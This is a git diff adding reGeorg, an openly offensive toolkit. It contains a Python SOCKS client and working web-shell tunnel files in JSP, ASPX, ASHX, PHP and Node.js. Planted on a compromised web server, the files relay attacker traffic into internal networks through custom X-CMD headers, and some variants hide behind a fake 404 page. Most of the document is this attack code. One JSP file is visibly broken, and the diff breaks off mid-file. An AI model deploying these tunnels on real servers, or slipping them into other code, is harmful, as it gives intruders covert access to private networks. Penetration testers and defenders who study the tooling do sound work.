READBUFSIZE = args.read_buf + WRITEBUFSIZE = args.write_buf + + log.info("Starting socks server [%s:%d], tunnel at [%s]" % (args.listen_on, args.listen_port, args.url)) + + cookies = None + headers = {} + if args.custom_headers: + headers = eval(args.custom_headers) + try: + if (headers['Cookie']): + cookies = headers['Cookie'] + del headers['Cookie'] + except: + pass + if args.without_check: + log.info("Georg says, 'All seems fine'") + else: + log.info("Checking if Georg is ready") + if not askGeorg(args.url, cookies, headers): + log.info("Georg is not ready, please check url") + exit() + servSock = socket(AF_INET, SOCK_STREAM) + servSock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) + servSock.bind((args.listen_on, args.listen_port)) + servSock.listen(1000) + while True: + try: + sock, addr_info = servSock.accept() + sock.settimeout(SOCKTIMEOUT) + log.debug("Incomming connection") + session(sock, args.url, cookies, headers).start() + except KeyboardInterrupt, ex: + break + except Exception, e: + log.error(e) + servSock.close() diff --git a/tunnels/forward.jsp b/tunnels/forward.jsp new file mode 100644 index 0000000..26dcda7 --- /dev/null +++ b/tunnels/forward.jsp @@ -0,0 +1,37 @@ +<%/* + _____ + _____ ______ __|___ |__ ______ _____ _____ ______ + | | | ___|| ___| || ___|/ \| | | ___| + | \ | ___|| | | || ___|| || \ | | | + |__|\__\|______||______| __||______|\_____/|__|\__\|______| + |_____| + ... every office needs a tool like Georg + + willem@sensepost.com / @_w_m__ + sam@sensepost.com / @trowalts + etienne@sensepost.com / @kamp_staaldraad + +Legal Disclaimer +Usage of reGeorg for attacking networks without consent +can be considered as illegal activity. The authors of +reGeorg assume no liability or responsibility for any +misuse or damage caused by this program. + +If you find reGeorge on one of your servers you should +consider the server compromised and likely further compromise +to exist within your internal network. + +For more information, see: +https://github.com/sensepost/reGeorg + +*/%><%@page import="java.nio.ByteBuffer, java.net.InetSocketAddress, java.nio.channels.SocketChannel, java.util.Arrays, java.io.IOException, java.net.UnknownHostException, java.net.Socket" trimDirectiveWhitespaces="true"%><% + String targetURL = "http://target.com" + String cookies = "" + String customHeaders = "" + if (cmd != null) { + + } else { + //PrintWriter o = response.getWriter(); + out.print("404 Not Found

Not Found

The requested URL was not found on this server.

"); + } +%> diff --git a/tunnels/tunnel.404.jsp b/tunnels/tunnel.404.jsp new file mode 100644 index 0000000..4e55181 --- /dev/null +++ b/tunnels/tunnel.404.jsp @@ -0,0 +1,123 @@ +<%@page import="java.nio.ByteBuffer, java.net.InetSocketAddress,java.net.UnknownHostException, java.nio.channels.SocketChannel, java.io.IOException" trimDirectiveWhitespaces="true"%><% + String cmd = request.getHeader("X-CMD"); + String socketID = request.getHeader("socketID"); + if (cmd != null) { + response.setHeader("X-STATUS", "OK"); + if (cmd.compareTo("CONNECT") == 0) { + try { + String target = request.getHeader("X-TARGET"); + int port = Integer.parseInt(request.getHeader("X-PORT")); + SocketChannel socketChannel = SocketChannel.open(); + socketChannel.connect(new InetSocketAddress(target, port)); + socketChannel.configureBlocking(false); + if (socketID != null) { + session.setAttribute(socketID+"socket", socketChannel); + } else { + session.setAttribute("socket", socketChannel); + } + response.setHeader("X-STATUS", "OK"); + } catch (UnknownHostException e) { + System.out.println(e.getMessage()); + response.setHeader("X-ERROR", e.getMessage()); + response.setHeader("X-STATUS", "FAIL"); + } catch (IOException e) { + System.out.println(e.getMessage()); + response.setHeader("X-ERROR", e.getMessage()); + response.setHeader("X-STATUS", "FAIL"); + + } + } else if (cmd.compareTo("DISCONNECT") == 0) { + SocketChannel socketChannel; + if (socketID != null) { + socketChannel = (SocketChannel)session.getAttribute(socketID+"socket"); + } else { + socketChannel = (SocketChannel)session.getAttribute("socket"); + } + try{ + socketChannel.socket().close(); + } catch (Exception ex) { + System.out.println(ex.getMessage()); + } + if (socketID != null) { + session.removeAttribute(socketID+"socket"); + } else { + session.invalidate(); + } + } else if (cmd.compareTo("READ") == 0){ + SocketChannel socketChannel; + if (socketID != null) { + socketChannel = (SocketChannel)session.getAttribute(socketID+"socket"); + } else { + socketChannel = (SocketChannel)session.getAttribute("socket"); + } + try { + int bufSize = Integer.parseInt(request.getHeader("Bufsize")); + ByteBuffer buf = ByteBuffer.allocate(bufSize); + int bytesRead = socketChannel.read(buf); + int tryTimes = 10; + while (tryTimes > 0) { + if (bytesRead == 0) { + Thread.sleep(100); + bytesRead = socketChannel.read(buf); + if (tryTimes == 1) { + System.out.println(tryTimes + " bytesRead: " + bytesRead); + } + tryTimes--; + } else { + break; + } + } + + ServletOutputStream so = response.getOutputStream(); + while (bytesRead > 0){ + so.write(buf.array(),0,bytesRead); + so.flush(); + buf.clear(); + bytesRead = socketChannel.read(buf); + } + response.setHeader("X-STATUS", "OK"); + so.flush(); + so.close(); + + } catch (Exception e) { + System.out.println(e.getMessage()); + response.setHeader("X-ERROR", e.getMessage()); + response.setHeader("X-STATUS", "FAIL"); +// socketChannel.socket().close(); + } + + } else if (cmd.compareTo("FORWARD") == 0){ + SocketChannel socketChannel; + if (socketID != null) { + socketChannel = (SocketChannel)session.getAttribute(socketID+"socket"); + } else { + socketChannel = (SocketChannel)session.getAttribute("socket"); + } + try { + + int readlen = request.getContentLength(); + byte[] buff = new byte[readlen]; + + request.getInputStream().read(buff, 0, readlen); + ByteBuffer buf = ByteBuffer.allocate(readlen); + buf.clear(); + buf.put(buff); + buf.flip(); + + while(buf.hasRemaining()) { + socketChannel.write(buf); + } + response.setHeader("X-STATUS", "OK"); + //response.getOutputStream().close(); + + } catch (Exception e) { + System.out.println(e.getMessage()); + response.setHeader("X-ERROR", e.getMessage()); + response.setHeader("X-STATUS", "FAIL"); + socketChannel.socket().close(); + } + } + } else { + out.print("404 Not Found

Not Found

The requested URL was not found on this server.

"); + } +%> diff --git a/tunnels/tunnel.ashx b/tunnels/tunnel.ashx new file mode 100644 index 0000000..f5f8dbf --- /dev/null +++ b/tunnels/tunnel.ashx @@ -0,0 +1,139 @@ +<%@ WebHandler Language="C#" Class="GenericHandler1" %> + +using System; +using System.Web; +using System.Net; +using System.Net.Sockets; + +public class GenericHandler1 : IHttpHandler, System.Web.SessionState.IRequiresSessionState +{ + + public void ProcessRequest (HttpContext context) { + try + { + if (context.Request.HttpMethod == "POST") + { + String cmd = context.Request.QueryString.Get("cmd").ToUpper(); + String socketID = context.Request.QueryString.Get("socketID"); + if (cmd == "CONNECT") + { + try + { + String target = context.Request.QueryString.Get("target").ToUpper(); + int port = int.Parse(context.Request.QueryString.Get("port")); + IPAddress ip = IPAddress.Parse(target); + System.Net.IPEndPoint remoteEP = new IPEndPoint(ip, port); + Socket sender = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); + + sender.Connect(remoteEP); + sender.Blocking = false; + if (socketID == null) + context.Session.Add("socket", sender); + else + context.Session.Add(socketID+"socket", sender); + context.Response.AddHeader("X-STATUS", "OK"); + } + catch (Exception ex) + { + context.Response.AddHeader("X-ERROR", ex.Message); + context.Response.AddHeader("X-STATUS", "FAIL"); + } + } + else if (cmd == "DISCONNECT") + { + Socket s; + if (socketID == null) + { + s = (Socket)context.Session["socket"]; + context.Session.Abandon(); + } else { + s = (Socket)context.Session[socketID+"socket"]; + context.Session[socketID+"socket"] = null; + } + try + { + s.Close(); + } + catch (Exception ex) + { + + } + context.Response.AddHeader("X-STATUS", "OK"); + } + else if (cmd == "FORWARD") + { + Socket s; + if (socketID == null) + s = (Socket)context.Session["socket"]; + else + s = (Socket)context.Session[socketID+"socket"]; + try + { + int buffLen = context.Request.ContentLength; + byte[] buff = new byte[buffLen]; + int c = 0; + while ((c = context.Request.InputStream.Read(buff, 0, buff.Length)) > 0) + { + s.Send(buff); + } + context.Response.AddHeader("X-STATUS", "OK"); + } + catch (Exception ex) + { + context.Response.AddHeader("X-ERROR", ex.Message); + context.Response.AddHeader("X-STATUS", "FAIL"); + } + } + else if (cmd == "READ") + { + Socket s; + if (socketID == null) + s = (Socket)context.Session["socket"]; + else + s = (Socket)context.Session[socketID+"socket"]; + try + { + int c = 0; + int bufSize = context.Request.QueryString.Get("bufsize").ToUpper(); + byte[] readBuff = new byte[bufSize]; + try + { + while ((c = s.Receive(readBuff)) > 0) + { + byte[] newBuff = new byte[c]; + Array.ConstrainedCopy(readBuff, 0, newBuff, 0, c); + context.Response.BinaryWrite(newBuff); + } + context.Response.AddHeader("X-STATUS", "OK"); + } + catch (SocketException soex) + { + context.Response.AddHeader("X-STATUS", "OK"); + return; + } + + } + catch (Exception ex) + { + context.Response.AddHeader("X-ERROR", ex.Message); + context.Response.AddHeader("X-STATUS", "FAIL"); + } + } + } else { + context.Response.Write("Georg says, 'All seems fine'"); + } + } + catch (Exception exKak) + { + context.Response.AddHeader("X-ERROR", exKak.Message); + context.Response.AddHeader("X-STATUS", "FAIL"); + } + } + + public bool IsReusable { + get { + return false; + } + } + +} diff --git a/tunnels/tunnel.aspx b/tunnels/tunnel.aspx new file mode 100644 index 0000000..83d8b7d --- /dev/null +++ b/tunnels/tunnel.aspx @@ -0,0 +1,148 @@ +<%@ Page Language="C#" EnableSessionState="True"%> +<%@ Import Namespace="System.Net" %> +<%@ Import Namespace="System.Net.Sockets" %> +<% +/* _____ + _____ ______ __|___ |__ ______ _____ _____ ______ + | | | ___|| ___| || ___|/ \| | | ___| + | \ | ___|| | | || ___|| || \ | | | + |__|\__\|______||______| __||______|\_____/|__|\__\|______| + |_____| + ... every office needs a tool like Georg + + willem@sensepost.com / @_w_m__ + sam@sensepost.com / @trowalts + etienne@sensepost.com / @kamp_staaldraad + +Legal Disclaimer +Usage of reGeorg for attacking networks without consent +can be considered as illegal activity. The authors of +reGeorg assume no liability or responsibility for any +misuse or damage caused by this program. + +If you find reGeorge on one of your servers you should +consider the server compromised and likely further compromise +to exist within your internal network. + +For more information, see: +https://github.com/sensepost/reGeorg +*/ + try + { + if (Request.HttpMethod == "POST") + { + //String cmd = Request.Headers.Get("X-CMD"); + String cmd = Request.QueryString.Get("cmd").ToUpper(); + String socketID = Request.QueryString.Get("socketID"); + if (cmd == "CONNECT") + { + try + { + String target = Request.QueryString.Get("target").ToUpper(); + //Request.Headers.Get("X-TARGET"); + int port = int.Parse(Request.QueryString.Get("port")); + //Request.Headers.Get("X-PORT")); + IPAddress ip = IPAddress.Parse(target); + System.Net.IPEndPoint remoteEP = new IPEndPoint(ip, port); + Socket sender = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); + sender.Connect(remoteEP); + sender.Blocking = false; + if (socketID == null) + Session.Add("socket", sender); + else + Session.Add(socketID+"socket", sender); + Response.AddHeader("X-STATUS", "OK"); + } + catch (Exception ex) + { + Response.AddHeader("X-ERROR", ex.Message); + Response.AddHeader("X-STATUS", "FAIL"); + } + } + else if (cmd == "DISCONNECT") + { + Socket s; + if (socketID == null) + { + s = (Socket)Session["socket"]; + Session.Abandon(); + } else { + s = (Socket)Session[socketID+"socket"]; + Session[socketID+"socket"] = null; + } + try { + s.Close(); + } catch (Exception ex){ + + } + Response.AddHeader("X-STATUS", "OK"); + } + else if (cmd == "FORWARD") + { + Socket s; + if (socketID == null) + s = (Socket)Session["socket"]; + else + s = (Socket)Session[socketID+"socket"]; + try + { + int buffLen = Request.ContentLength; + byte[] buff = new byte[buffLen]; + int c = 0; + while ((c = Request.InputStream.Read(buff, 0, buff.Length)) > 0) + { + s.Send(buff); + } + Response.AddHeader("X-STATUS", "OK"); + } + catch (Exception ex) + { + Response.AddHeader("X-ERROR", ex.Message); + Response.AddHeader("X-STATUS", "FAIL"); + } + } + else if (cmd == "READ") + { + Socket s; + if (socketID == null) + s = (Socket)Session["socket"]; + else + s = (Socket)Session[socketID+"socket"]; + try + { + int c = 0; + int bufSize = int.Parse(Request.QueryString.Get("bufsize")); + byte[] readBuff = new byte[bufSize]; + try + { + while ((c = s.Receive(readBuff)) > 0) + { + byte[] newBuff = new byte[c]; + System.Buffer.BlockCopy(readBuff, 0, newBuff, 0, c); + Response.BinaryWrite(newBuff); + } + Response.AddHeader("X-STATUS", "OK"); + } + catch (SocketException soex) + { + Response.AddHeader("X-STATUS", "OK"); + return; + } + } + catch (Exception ex) + { + Response.AddHeader("X-ERROR", ex.Message); + Response.AddHeader("X-STATUS", "FAIL"); + } + } + } else { + Response.Write("Georg says, 'All seems fine'"); + } + } + catch (Exception exKak) + { + Response.AddHeader("X-ERROR", exKak.Message); + Response.AddHeader("X-STATUS", "FAIL"); + } +%> + diff --git a/tunnels/tunnel.js b/tunnels/tunnel.js new file mode 100644 index 0000000..c73903b --- /dev/null +++ b/tunnels/tunnel.js @@ -0,0 +1,239 @@ +var http = require('http'); +var net = require('net'); +var dataBuff = []; +var sessions = []; + +function attachOutboundListener(outboundTCP) +{ + outboundTCP.on('data', function(data) { + for(var key in sessions) + { + if(sessions[key]=outboundTCP) + { + dataBuff[key]=data; + } + } + }); +} + +function createOutboundTCP(res,req) +{ + var reqCookie=req.headers['cookie']; + var HOST = req.headers['x-target']; + var PORT = req.headers['x-port']; + + if(reqCookie==null) + { + var tcpConn = new net.Socket(); + + tcpConn.connect(PORT,HOST); + + tcpConn.on( 'connect', function() { + var cookie='Ur'+Math.random(); + sessions[cookie]=tcpConn; + attachOutboundListener(tcpConn); + res.writeHead(200,{'Set-Cookie':cookie,'X-STATUS':'OK'}); + res.end(); + }); + + tcpConn.on('error', function(error){ + console.log("Error creating new Outbound: "+error.message); + res.writeHead(200,{'X-STATUS':'FAIL','X-ERROR':error.message}); + res.end(); + }); + } + else if(reqCookie!=null&&sessions[reqCookie]==null) + { + var tcpConn = new net.Socket(); + tcpConn.connect(PORT,HOST); + + tcpConn.on( 'connect', function() { + sessions[reqCookie]=tcpConn; + attachOutboundListener(tcpConn); + res.writeHead(200,{'X-STATUS':'OK'}); + res.end(); + }); + + tcpConn.on('error', function(error){ + console.log("Error creating new Outbound: "+error.message); + res.writeHead(200,{'X-STATUS':'FAIL','X-ERROR':error.message}); + res.end(); + }); + } + else + { + res.writeHead(200,{'X-STATUS':'OK'}); + res.end(); + } +} + +function readOutboundTCP(res,req) +{ + var reqCookie=req.headers['cookie']; + + if(reqCookie!=null) + { + var currData=dataBuff[reqCookie]; + dataBuff[reqCookie]=null; + + if(currData!=null) + { + res.writeHead(200,{'X-STATUS':'OK'}); + res.write(currData); + res.end(); + } + else + { + console.log('NO DATA IN BUFFER TO READ'); + res.writeHead(200,{'X-STATUS':'OK'}); + res.end(); + } + } + else + { + console.log('No cookie to read data'); + res.writeHead(200,{'X-STATUS':'FAIL','X-ERROR':'NO COOKIE'}); + res.end(); + } + +} + +function disconnectOutboundTCP(res,req,error) +{ + + var tcpConn=sessions[req.headers['cookie']]; + + if(tcpConn!=null) + { + tcpConn.destroy(); + tcpConn=null; + sessions[req.headers['cookie']]=null; + dataBuff[req.headers['cookie']]=null; + } + + if(error!=null) + { + res.writeHead(200,{'X-STATUS':'FAIL','X-ERROR':error.message,'Set-Cookie':'; expires=Thu, 01 Jan 1970 00:00:00 GMT'}); + res.end(); + } + else + { + res.writeHead(200,{'Set-Cookie':'; expires=Thu, 01 Jan 1970 00:00:00 GMT','X-STATUS':'OK'}); + res.end(); + } + +} + +function forwardData(req,res) +{ + var forwardData; + + req.on('data', function (chunk) { + forwardData=chunk; + }); + + req.on('end', function (){ + if(forwardData!=null) + { + var tcpSocket=sessions[req.headers['cookie']]; + + if(tcpSocket!=null) + { + tcpSocket.write(forwardData); + res.writeHead(200,{'X-STATUS':'OK'}); + res.end(); + } + else + { + console.log('No Cookie session to forward'); + res.writeHead(200,{'X-STATUS':'FAIL','X-ERROR':'NO COOKIE'}); + res.end(); + } + } + else + { + console.log('No data in FORWARD'); + res.writeHead(200,{'X-STATUS':'OK'}); + res.end(); + } + + }); +} + +var server=http.createServer(function (req, res) { + +// for(var item in req.headers) { +// console.log('REQ: '+item + ": " + req.headers[item]); +// } + + var cmd=req.headers['x-cmd']; + + if(cmd!=null) + { + if(cmd=='CONNECT') + { + console.log('CONNECT') + try + { + createOutboundTCP(res,req); + } + catch(error) + { + disconnectOutboundTCP(res,req,error); + } + } + + else if(cmd=='DISCONNECT') + { + console.log('DISCONNECT') + try + { + disconnectOutboundTCP(res,req,null); + } + catch(error) + { + disconnectOutboundTCP(res,req,error); + } + } + + else if(cmd=='READ') + { + console.log('READ') + try + { + readOutboundTCP(res,req); + } + catch(error) + { + disconnectOutboundTCP(res,req,error); + } + } + + else if(cmd=='FORWARD') + { + console.log('FORWARD'); + try + { + forwardData(req,res); + } + catch(error) + { + disconnectOutboundTCP(res,req,error); + } + } + else + { + res.write("Georg says, 'All seems fine'"); + res.end(); + } + } + + else + { + res.write("Georg says, 'All seems fine'"); + res.end(); + } + +}); + +server.listen(65000, '127.0.0.1'); diff --git a/tunnels/tunnel.jsp b/tunnels/tunnel.jsp new file mode 100644 index 0000000..b5fcc6c --- /dev/null +++ b/tunnels/tunnel.jsp @@ -0,0 +1,136 @@ +<%/* + _____ + _____ ______ __|___ |__ ______ _____ _____ ______ + | | | ___|| ___| || ___|/ \| | | ___| + | \ | ___|| | | || ___|| || \ | | | + |__|\__\|______||______| __||______|\_____/|__|\__\|______| + |_____| + ... every office needs a tool like Georg + + willem@sensepost.com / @_w_m__ + sam@sensepost.com / @trowalts + etienne@sensepost.com / @kamp_staaldraad + +Legal Disclaimer +Usage of reGeorg for attacking networks without consent +can be considered as illegal activity. The authors of +reGeorg assume no liability or responsibility for any +misuse or damage caused by this program. + +If you find reGeorge on one of your servers you should +consider the server compromised and likely further compromise +to exist within your internal network. + +For more information, see: +https://github.com/sensepost/reGeorg + +*/%><%@page import="java.nio.ByteBuffer, java.net.InetSocketAddress, java.nio.channels.SocketChannel, java.util.Arrays, java.io.IOException, java.net.UnknownHostException, java.net.Socket" trimDirectiveWhitespaces="true"%><% + String cmd = request.getHeader("X-CMD"); + String socketID = request.getHeader("socketID"); + if (cmd != null) { + response.setHeader("X-STATUS", "OK"); + if (cmd.compareTo("CONNECT") == 0) { + try { + String target = request.getHeader("X-TARGET"); + int port = Integer.parseInt(request.getHeader("X-PORT")); + SocketChannel socketChannel = SocketChannel.open(); + socketChannel.connect(new InetSocketAddress(target, port)); + socketChannel.configureBlocking(false); + if (socketID != null) { + session.setAttribute(socketID+"socket", socketChannel); + } else { + session.setAttribute("socket", socketChannel); + } + response.setHeader("X-STATUS", "OK"); + } catch (UnknownHostException e) { + System.out.println(e.getMessage()); + response.setHeader("X-ERROR", e.getMessage()); + response.setHeader("X-STATUS", "FAIL"); + } catch (IOException e) { + System.out.println(e.getMessage()); + response.setHeader("X-ERROR", e.getMessage()); + response.setHeader("X-STATUS", "FAIL"); + + } + } else if (cmd.compareTo("DISCONNECT") == 0) { + SocketChannel socketChannel; + if (socketID != null) { + socketChannel = (SocketChannel)session.getAttribute(socketID+"socket"); + } else { + socketChannel = (SocketChannel)session.getAttribute("socket"); + } + try{ + socketChannel.socket().close(); + } catch (Exception ex) { + System.out.println(ex.getMessage()); + } + if (socketID != null) { + session.removeAttribute(socketID+"socket"); + } else { + session.invalidate(); + } + } else if (cmd.compareTo("READ") == 0){ + SocketChannel socketChannel; + if (socketID != null) { + socketChannel = (SocketChannel)session.getAttribute(socketID+"socket"); + } else { + socketChannel = (SocketChannel)session.getAttribute("socket"); + } + try { + int bufSize = Integer.parseInt(request.getHeader("Bufsize")); + ByteBuffer buf = ByteBuffer.allocate(bufSize); + int bytesRead = socketChannel.read(buf); + ServletOutputStream so = response.getOutputStream(); + while (bytesRead > 0){ + so.write(buf.array(),0,bytesRead); + so.flush(); + buf.clear(); + bytesRead = socketChannel.read(buf); + } + response.setHeader("X-STATUS", "OK"); + so.flush(); + so.close(); + + } catch (Exception e) { + System.out.println(e.getMessage()); + response.setHeader("X-ERROR", e.getMessage()); + response.setHeader("X-STATUS", "FAIL"); + //socketChannel.socket().close(); + } + + } else if (cmd.compareTo("FORWARD") == 0){ + SocketChannel socketChannel; + if (socketID != null) { + socketChannel = (SocketChannel)session.getAttribute(socketID+"socket"); + } else { + socketChannel = (SocketChannel)session.getAttribute("socket"); + } + try { + + int readlen = request.getContentLength(); + byte[] buff = new byte[readlen]; + + request.getInputStream().read(buff, 0, readlen); + ByteBuffer buf = ByteBuffer.allocate(readlen); + buf.clear(); + buf.put(buff); + buf.flip(); + + while(buf.hasRemaining()) { + socketChannel.write(buf); + } + response.setHeader("X-STATUS", "OK"); + //response.getOutputStream().close(); + + } catch (Exception e) { + System.out.println(e.getMessage()); + response.setHeader("X-ERROR", e.getMessage()); + response.setHeader("X-STATUS", "FAIL"); + socketChannel.socket().close(); + } + } + } else { + //PrintWriter o = response.getWriter(); + out.print("Georg says, 'All seems fine'"); + } +%> diff --git a/tunnels/tunnel.nosocket.php b/tunnels/tunnel.nosocket.php new file mode 100644 index 0000000..2e8d2db --- /dev/null +++ b/tunnels/tunnel.nosocket.php @@ -0,0 +1,196 @@ + $val) { + if (preg_match($rx_http, $key)) { + $arh_key = preg_replace($rx_http, '', $key); + $rx_matches = array(); + $rx_matches = explode('_', $arh_key); + if (count($rx_matches) > 0 and strlen($arh_key) > 2) { + foreach ($rx_matches as $ak_key => $ak_val) { + $rx_matches[$ak_key] = ucfirst($ak_val); + } + + $arh_key = implode('-', $rx_matches); + } + $arh[$arh_key] = $val; + } + } + return ($arh); + } +} +if ($_SERVER['REQUEST_METHOD'] === 'GET') { + exit("Georg says, 'All seems fine'"); +} + +if ($_SERVER['REQUEST_METHOD'] === 'POST') { + set_time_limit(0); + $headers = apache_request_headers(); + $cmd = $headers["X-CMD"]; + switch ($cmd) { + case "CONNECT": + { + $target = $headers["X-TARGET"]; + $port = (int)$headers["X-PORT"]; + #$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); + #if ($sock === false) + #{ + # header('X-STATUS: FAIL'); + # header('X-ERROR: Failed creating socket'); + # return; + #} + $res = fsockopen($target, $port); + #$res = @socket_connect($sock, $target, $port); + if ($res === false) { + header('X-STATUS: FAIL'); + header('X-ERROR: Failed connecting to target'); + return; + } + #socket_set_nonblock($res); + + stream_set_blocking($res, false); + @session_start(); + $_SESSION["run"] = true; + $_SESSION["writebuf"] = ""; + $_SESSION["readbuf"] = ""; + ob_end_clean(); + header('X-STATUS: OK'); + header("Connection: close"); + ignore_user_abort(); + ob_start(); + $size = ob_get_length(); + header("Content-Length: $size"); + ob_end_flush(); + flush(); + session_write_close(); + $bufSize = $headers["Bufsize"]; + while ($_SESSION["run"]) { + $readBuff = ""; + @session_start(); + $writeBuff = $_SESSION["writebuf"]; + $_SESSION["writebuf"] = ""; + session_write_close(); + if ($writeBuff != "") { + stream_set_blocking($res, false); + $i = fwrite($res, $writeBuff); #socket_write($sock, $writeBuff, strlen($writeBuff)); + if ($i === false) { + @session_start(); + $_SESSION["run"] = false; + session_write_close(); + header('X-STATUS: FAIL'); + header('X-ERROR: Failed writing socket'); + } + } + # stream_set_timeout($res, 1); + stream_set_blocking($res, false); + + while ($o = fgets($res, $bufSize)) { + if ($o === false) { + @session_start(); + $_SESSION["run"] = false; + session_write_close(); + header('X-STATUS: FAIL'); + header('X-ERROR: Failed reading from socket'); + } + $readBuff .= $o; + } + if ($readBuff != "") { + @session_start(); + $_SESSION["readbuf"] .= $readBuff; + session_write_close(); + } + #sleep(0.2); + } + fclose($res); + } + break; + case "DISCONNECT": + { + error_log("DISCONNECT recieved"); + @session_start(); + $_SESSION["run"] = false; + session_write_close(); + return; + } + break; + case "READ": + { + @session_start(); + $readBuffer = $_SESSION["readbuf"]; + $_SESSION["readbuf"] = ""; + $running = $_SESSION["run"]; + session_write_close(); + if ($running) { + header('X-STATUS: OK'); + header("Connection: Keep-Alive"); + echo $readBuffer; + return; + } else { + header('X-STATUS: FAIL'); + header('X-ERROR: RemoteSocket read filed'); + return; + } + } + break; + case "FORWARD": + { + @session_start(); + $running = $_SESSION["run"]; + session_write_close(); + if (!$running) { + header('X-STATUS: FAIL'); + header('X-ERROR: No more running, close now'); + return; + } + header('Content-Type: application/octet-stream'); + $rawPostData = file_get_contents("php://input"); + if ($rawPostData) { + @session_start(); + $_SESSION["writebuf"] .= $rawPostData; + session_write_close(); + header('X-STATUS: OK'); + header("Connection: Keep-Alive"); + return; + } else { + header('X-STATUS: FAIL'); + header('X-ERROR: POST request read filed'); + } + } + break; + } +} +?> diff --git a/tunnels/tunnel.php b/tunnels/tunnel.php new file mode 100644 index 0000000..99fee77 --- /dev/null +++ b/tunnels/tunnel.php @@ -0,0 +1,205 @@ + $val) { + if( preg_match($rx_http, $key) ) { + $arh_key = preg_replace($rx_http, '', $key); + $rx_matches = array(); + $rx_matches = explode('_', $arh_key); + if( count($rx_matches) > 0 and strlen($arh_key) > 2 ) { + foreach($rx_matches as $ak_key => $ak_val) { + $rx_matches[$ak_key] = ucfirst($ak_val); + } + + $arh_key = implode('-', $rx_matches); + } + $arh[$arh_key] = $val; + } + } + return( $arh ); + } +} +if ($_SERVER['REQUEST_METHOD'] === 'GET') +{ + exit("Georg says, 'All seems fine'"); +} + +if ($_SERVER['REQUEST_METHOD'] === 'POST') { + set_time_limit(0); + $headers=apache_request_headers(); + $cmd = $headers["X-CMD"]; + switch($cmd){ + case "CONNECT": + { + $target = $headers["X-TARGET"]; + $port = (int)$headers["X-PORT"]; + $sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); + if ($sock === false) + { + header('X-STATUS: FAIL'); + header('X-ERROR: Failed creating socket'); + return; + } + $res = @socket_connect($sock, $target, $port); + if ($res === false) + { + header('X-STATUS: FAIL'); + header('X-ERROR: Failed connecting to target'); + return; + } + socket_set_nonblock($sock); + @session_start(); + $socketID = isset($headers["socketID"])?$headers["socketID"]:""; + $_SESSION[$socketID."run"] = true; + $_SESSION[$socketID."writebuf"] = ""; + $_SESSION[$socketID."readbuf"] = ""; + ob_end_clean(); + header('X-STATUS: OK'); + header("Connection: close"); + ignore_user_abort(); + ob_start(); + $size = ob_get_length(); + header("Content-Length: $size"); + ob_end_flush(); + flush(); + session_write_close(); + + $bufSize = $headers["Bufsize"]; + while ($_SESSION[$socketID."run"]) + { + $readBuff = ""; + @session_start(); + $writeBuff = $_SESSION[$socketID."writebuf"]; + $_SESSION[$socketID."writebuf"] = ""; + session_write_close(); + if ($writeBuff != "") + { + $i = socket_write($sock, $writeBuff, strlen($writeBuff)); + if($i === false) + { + @session_start(); + $_SESSION[$socketID."run"] = false; + session_write_close(); + header('X-STATUS: FAIL'); + header('X-ERROR: Failed writing socket'); + } + } + while ($o = socket_read($sock, $bufSize)) { + if($o === false) + { + @session_start(); + $_SESSION[$socketID."run"] = false; + session_write_close(); + header('X-STATUS: FAIL'); + header('X-ERROR: Failed reading from socket'); + } + $readBuff .= $o; + } + if ($readBuff!=""){ + @session_start(); + $_SESSION[$socketID."readbuf"] .= $readBuff; + session_write_close(); + } + #sleep(0.2); + } + socket_close($sock); + } + break; + case "DISCONNECT": + { + error_log("DISCONNECT recieved"); + @session_start(); + if(isset($headers["socketID"])) + { + $_SESSION[$headers["socketID"]."run"] = false; + unset($_SESSION[$headers["socketID"]."run"]); + unset($_SESSION[$headers["socketID"]."writebuf"]); + unset($_SESSION[$headers["socketID"]."readbuf"]); + } + else + $_SESSION["run"] = false; + session_write_close(); + return; + } + break; + case "READ": + { + @session_start(); + $socketID = isset($headers["socketID"])?$headers["socketID"]:""; + $readBuffer = $_SESSION[$socketID."readbuf"]; + $_SESSION[$socketID."readbuf"]=""; + $running = $_SESSION[$socketID."run"]; + session_write_close(); + if ($running) { + header('X-STATUS: OK'); + header("Connection: Keep-Alive"); + echo $readBuffer; + return; + } else { + header('X-STATUS: FAIL'); + header('X-ERROR: RemoteSocket read filed'); + return; + } + } + break; + case "FORWARD": + { + @session_start(); + $socketID = isset($headers["socketID"])?$headers["socketID"]:""; + $running = $_SESSION[$socketID."run"]; + session_write_close(); + if(!$running){ + header('X-STATUS: FAIL'); + header('X-ERROR: No more running, close now'); + return; + } + header('Content-Type: application/octet-stream'); + $rawPostData = file_get_contents("php://input"); + if ($rawPostData) { + @session_start(); + $_SESSION[$socketID."writebuf"] .= $rawPostData; + session_write_close(); + header('X-STATUS: OK'); + header("Connection: Keep-Alive"); + return; + } else { + header('X-STATUS: FAIL'); + header('X-ERROR: POST request read filed'); + } + } + break; + } +} +?> diff --git a/tunnels/tunnel.tomcat.5.jsp b/tunnels/tunnel.tomcat.5.jsp new file mode 100644 index 0000000..c132d44 --- /dev/null +++ b/tunnels/tunnel.tomcat.5.jsp @@ -0,0 +1,136 @@ +<%/* + _____ + _____ ______ __|___ |__ ______ _____ _____ ______ + | | | ___|| ___| || ___|/ \| | | ___| + | \ | ___|| | | || ___|| || \ | | | + |__|\__\|______||______| __||______|\_____/|__|\__\|______| + |_____| + ... every office needs a tool like Georg + + willem@sensepost.com / @_w_m__ + sam@sensepost.com / @trowalts + etienne@sensepost.com / @kamp_staaldraad + +Legal Disclaimer +Usage of reGeorg for attacking networks without consent +can be considered as illegal activity. The authors of +reGeorg assume no liability or responsibility for any +misuse or damage caused by this program. + +If you find reGeorge on one of your servers you should +consider the server compromised and likely further compromise +to exist within your internal network. + +For more information, see: +https://github.com/sensepost/reGeorg + +*/%><%@page import="java.nio.ByteBuffer, java.net.InetSocketAddress, java.nio.channels.SocketChannel, java.util.Arrays, java.io.IOException, java.net.UnknownHostException, java.net.Socket" %><% + String cmd = request.getHeader("X-CMD"); + String socketID = request.getHeader("socketID"); + if (cmd != null) { + response.setHeader("X-STATUS", "OK"); + if (cmd.compareTo("CONNECT") == 0) { + try { + String target = request.getHeader("X-TARGET"); + int port = Integer.parseInt(request.getHeader("X-PORT")); + SocketChannel socketChannel = SocketChannel.open(); + socketChannel.connect(new InetSocketAddress(target, port)); + socketChannel.configureBlocking(false); + if (socketID != null) { + 